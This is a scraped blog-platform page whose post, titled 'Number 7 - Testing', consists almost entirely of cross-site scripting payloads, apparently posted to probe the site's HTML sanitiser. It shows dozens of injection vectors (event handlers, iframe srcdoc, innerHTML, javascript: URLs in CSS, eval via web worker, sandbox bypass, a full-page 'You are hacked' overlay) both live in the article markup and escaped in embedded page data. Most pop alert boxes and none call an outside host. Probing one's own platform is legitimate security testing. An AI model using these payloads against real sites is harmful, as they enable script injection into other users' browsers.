alert('XSS')<\/script>]]> '); " /> <!-- HTML5 data attribute with event handler --> <div data-xss="alert('XSS')" onclick="eval(this.dataset.xss)">Click me</div> <!-- Inline SVG with onload event --> <p><svg width="100" height="100" onload="alert('XSS')"></svg></p> <!-- Using document.write --> <script> document.write('<img src=x onerror="alert(\'XSS\')">'); </script> <!-- JavaScript in a flash object (legacy) --> <p><object type="application/x-shockwave-flash" data="data:application/x-shockwave-flash;base64,YXBwbGVzY3JpcHQ6YWxlcnQoWFNTKQ=="></object></p> <!-- CSS escape sequences --> <div style="background: url(javascript:\0061lert('XSS'))"></div></article><div class="mt-8 mb-12 flex items-center justify-between border-t border-b py-4"><div class="flex items-center gap-4"><div class="flex items-center gap-1.5 text-zinc-500"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-thumbs-up w-4 h-4" aria-hidden="true"><path d="M15 5.88 14 10h5.83a2 2 0 0 1 1.92 2.56l-2.33 8A2 2 0 0 1 17.5 22H4a2 2 0 0 1-2-2v-8a2 2 0 0 1 2-2h2.76a2 2 0 0 0 1.79-1.11L12 2a3.13 3.13 0 0 1 3 3.88Z"></path><path d="M7 10v12"></path></svg><span>4</span></div></div></div><div class="mt-12 pt-8"><div class="mt-10 space-y-4"><h3 class="text-xl font-bold mb-4">comments</h3><div class="flex gap-3"><div class="animate-pulse bg-muted h-10 w-10 rounded-full"></div><div class="space-y-2 flex-1"><div class="animate-pulse rounded-md bg-muted h-4 w-[200px]"></div><div class="animate-pulse rounded-md bg-muted h-20 w-full"></div></div></div><div class="flex gap-3"><div class="animate-pulse bg-muted h-10 w-10 rounded-full"></div><div class="space-y-2 flex-1"><div class="animate-pulse rounded-md bg-muted h-4 w-[200px]"></div><div class="animate-pulse rounded-md bg-muted h-20 w-full"></div></div></div></div></div></div></div><script>((STORAGE_KEY, restoreKey) => { if (!window.history.state || !window.history.state.key) { let key = Math.random().toString(32).slice(2); window.history.replaceState({ key }, ""); } try { let positions = JSON.parse(sessionStorage.getItem(STORAGE_KEY) || "{}"); let storedY = positions[restoreKey || window.history.state.key]; if (typeof storedY === "number") { window.scrollTo(0, storedY); } } catch (error) { console.error(error); sessionStorage.removeItem(STORAGE_KEY); } })("positions", null)</script><link rel="modulepreload" href="/assets/manifest-435953f3.js"/><link rel="modulepreload" href="/assets/entry.client-CCzTidaF.js"/><link rel="modulepreload" href="/assets/index-CCf-I6QF.js"/><link rel="modulepreload" href="/assets/preload-helper-D7HrI6pR.js"/><link rel="modulepreload" href="/assets/context-Bilkg68n.js"/><link rel="modulepreload" href="/assets/components-CUNQgVUT.js"/><link rel="modulepreload" href="/assets/auth-context-N0p-rRMe.js"/><link rel="modulepreload" href="/assets/button-Ba1NkJOm.js"/><link rel="modulepreload" href="/assets/index-CTIHs8q9.js"/><link rel="modulepreload" href="/assets/index-TeqXHO3K.js"/><link rel="modulepreload" href="/assets/index-U6F-f6vg.js"/><link rel="modulepreload" href="/assets/utils-CytzSlOG.js"/><link rel="modulepreload" href="/assets/createLucideIcon-B5pl9KEm.js"/><link rel="modulepreload" href="/assets/input-DkfAXSTh.js"/><link rel="modulepreload" href="/assets/label-5U7EL-WY.js"/><link rel="modulepreload" href="/assets/tabs-CYn9Kajm.js"/><link rel="modulepreload" href="/assets/index-Bb6yYcUf.js"/><link rel="modulepreload" href="/assets/refresh-cw-BTMuwYbh.js"/><link rel="modulepreload" href="/assets/avatar-BX6NCM_Z.js"/><link rel="modulepreload" href="/assets/hive--WtsKidz.js"/><link rel="modulepreload" href="/assets/useTranslation--S8UnAZd.js"/><link rel="modulepreload" href="/assets/wallet-BBkrVld8.js"/><link rel="modulepreload" href="/assets/index--Ko5AEkK.js"/><link rel="modulepreload" href="/assets/index-BXm8RLif.js"/><link rel="modulepreload" href="/assets/root-CeuBGU5N.js"/><link rel="modulepreload" href="/assets/card-CHKy5hYQ.js"/><link rel="modulepreload" href="/assets/markdown-ca5NX-JI.js"/><link rel="modulepreload" href="/assets/vote-button-CLlqGcu3.js"/><link rel="modulepreload" href="/assets/loader-circle-HJQjZszd.js"/><link rel="modulepreload" href="/assets/(_category)._user._permlink-dPHe1XIs.js"/><script>window.__remixContext = {"basename":"/","future":{"v3_fetcherPersist":true,"v3_relativeSplatPath":true,"v3_throwAbortReason":true,"v3_routeConfig":false,"v3_singleFetch":false,"v3_lazyRouteDiscovery":false,"unstable_optimizeDeps":false},"isSpaMode":false,"state":{"loaderData":{"root":{"locale":"en"},"routes/($category).$user.$permlink":{"title":"Number 7 - Testing","html":"\u003c!-- JavaScript in a web worker --\u003e\n\u003cscript\u003e\n var blob = new Blob([\"onmessage = function(e) { postMessage(eval(e.data)); }\"], { type: 'application/javascript' });\n var url = URL.createObjectURL(blob);\n var worker = new Worker(url);\n worker.postMessage(\"alert('XSS')\");\n\u003c/script\u003e\n\n\u003c!-- Script in an iframe srcdoc --\u003e\n\u003ciframe srcdoc=\"\u003cscript\u003ealert('XSS')\u003c\\/script\u003e\"\u003e\u003c/iframe\u003e\n\n\u003c!-- Exploiting innerHTML property --\u003e\n\u003cdiv id=\"target\"\u003e\u003c/div\u003e\n\u003cscript\u003e\n document.getElementById('target').innerHTML = '\u003cimg src=x onerror=alert(\"XSS\")\u003e';\n\u003c/script\u003e\n\n\u003c!-- Using eval inside a setInterval --\u003e\n\u003cscript\u003esetInterval(\"alert('XSS')\", 1000);\u003c/script\u003e\n\n\u003c!-- Exploiting CSS content property --\u003e\n\u003cstyle\u003e\n body {\n background-color: black;\n color: white;\n display: flex;\n justify-content: center;\n align-items: center;\n height: 100vh;\n margin: 0;\n font-family: Arial, sans-serif;\n }\n\n body:before {\n content: 'You are hacked, joking';\n display: block;\n text-align: center;\n font-size: 333px;\n font-weight: bold;\n position: fixed;\n z-index: 5000;\n background: black;\n }\n\u003c/style\u003e\n\n\u003c!-- HTML5 postMessage --\u003e\n\u003cscript\u003e\n window.addEventListener('message', function(event) {\n if (event.origin !== 'null') return;\n alert('XSS via postMessage');\n });\n window.postMessage('', '*');\n\u003c/script\u003e\n\n\u003c!-- JavaScript in XML --\u003e\n\u003cp\u003e\u003cxml id=\"xss\"\u003e\u003c![CDATA[\u003cscript\u003ealert('XSS')\u003c\\/script\u003e]]\u003e\u003c/xml\u003e\u003c/p\u003e\n\u003cscript\u003e\n var parser = new DOMParser();\n var xml = document.getElementById('xss').innerHTML;\n var doc = parser.parseFromString(xml, \"application/xml\");\n var script = doc.querySelector('script');\n if (script) eval(script.textContent);\n\u003c/script\u003e\n\n\u003c!-- Injecting JavaScript via history.pushState --\u003e\n\u003cscript\u003e\n history.pushState({}, '', '/\u003cscript\u003ealert(\"XSS\")\u003c/script\u003e');\n\u003cp\u003e\u003c/script\u003e\u003c/p\u003e\n\u003c!-- iframe sandbox attribute bypass --\u003e\n\u003ciframe sandbox=\"allow-scripts\" srcdoc=\"\u003cscript\u003eparent.alert('XSS')\u003c\\/script\u003e\"\u003e\u003c/iframe\u003e\n\n\u003c!-- Audio tag with onloadeddata --\u003e\n\u003cp\u003e\u003caudio onloadeddata=\"alert('XSS')\" src=\"invalid-file\"\u003e\u003c/audio\u003e\u003c/p\u003e\n\u003c!-- Script inside an SVG file --\u003e\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\"\u003e\n \u003cscript\u003e\n alert('XSS');\n \u003c/script\u003e\n\u003c/svg\u003e\n\n\u003c!-- Using .innerHTML with template literals --\u003e\n\u003cscript\u003e\n document.body.innerHTML = `${'\u003cimg src=x onerror=alert(\"XSS\")\u003e'}`;\n\u003c/script\u003e\n\n\u003c!-- CSS :hover pseudo-class --\u003e\n\u003cstyle\u003e\n body:hover {\n background-image: url(\"javascript:alert('XSS')\");\n }\n\u003c/style\u003e\n\n\u003c!-- XSS via JavaScript URL in CSS --\u003e\n\u003cstyle\u003e\n body {\n background-image: url(\"javascript:alert('XSS')\");\n }\n\u003c/style\u003e\n\n\u003c!-- XSS via script in JSONP response --\u003e\n\u003cscript src=\"https://example.com/jsonp?callback=alert('XSS')\"\u003e\u003c/script\u003e\n\n\u003c!-- iframe srcdoc with meta refresh --\u003e\n\u003ciframe srcdoc=\"\u003cmeta http-equiv='refresh' content='0;url=javascript:alert(\\\"XSS\\\")'\u003e\" /\u003e\n\n\u003c!-- HTML5 data attribute with event handler --\u003e\n\u003cdiv data-xss=\"alert('XSS')\" onclick=\"eval(this.dataset.xss)\"\u003eClick me\u003c/div\u003e\n\n\u003c!-- Inline SVG with onload event --\u003e\n\u003cp\u003e\u003csvg width=\"100\" height=\"100\" onload=\"alert('XSS')\"\u003e\u003c/svg\u003e\u003c/p\u003e\n\u003c!-- Using document.write --\u003e\n\u003cscript\u003e\n document.write('\u003cimg src=x onerror=\"alert(\\'XSS\\')\"\u003e');\n\u003c/script\u003e\n\n\u003c!-- JavaScript in a flash object (legacy) --\u003e\n\u003cp\u003e\u003cobject type=\"application/x-shockwave-flash\" data=\"data:application/x-shockwave-flash;base64,YXBwbGVzY3JpcHQ6YWxlcnQoWFNTKQ==\"\u003e\u003c/object\u003e\u003c/p\u003e\n\u003c!-- CSS escape sequences --\u003e\n\u003cdiv style=\"background: url(javascript:\\0061lert('XSS'))\"\u003e\u003c/div\u003e","author":"louis.random","permlink":"number-7-testing","created":"2024-06-24T23:28:18","category":"test","description":"var blob = new Blob([\"onmessage = function(e) { postMessage(eval(e.data)); }\"], { type: 'application/javascript' }); var url = URL.createObjectURL(blob); var wo...","image":"","url":"https://blog.suseona.com/@louis.random/number-7-testing","active_votes":[{"rshares":2371914569054,"voter":"disregardfiat"},{"rshares":2058024380786,"voter":"louis88"},{"rshares":1712447426,"voter":"louis.pay"},{"rshares":14005832992,"voter":"snaqz"}],"stats_votes":4}},"actionData":null,"errors":null}};</script><script type="module" async="">import "/assets/manifest-435953f3.js"; import * as route0 from "/assets/root-CeuBGU5N.js"; import * as route1 from "/assets/(_category)._user._permlink-dPHe1XIs.js"; window.__remixRouteModules = {"root":route0,"routes/($category).$user.$permlink":route1}; import("/assets/entry.client-CCzTidaF.js");</script></body></html>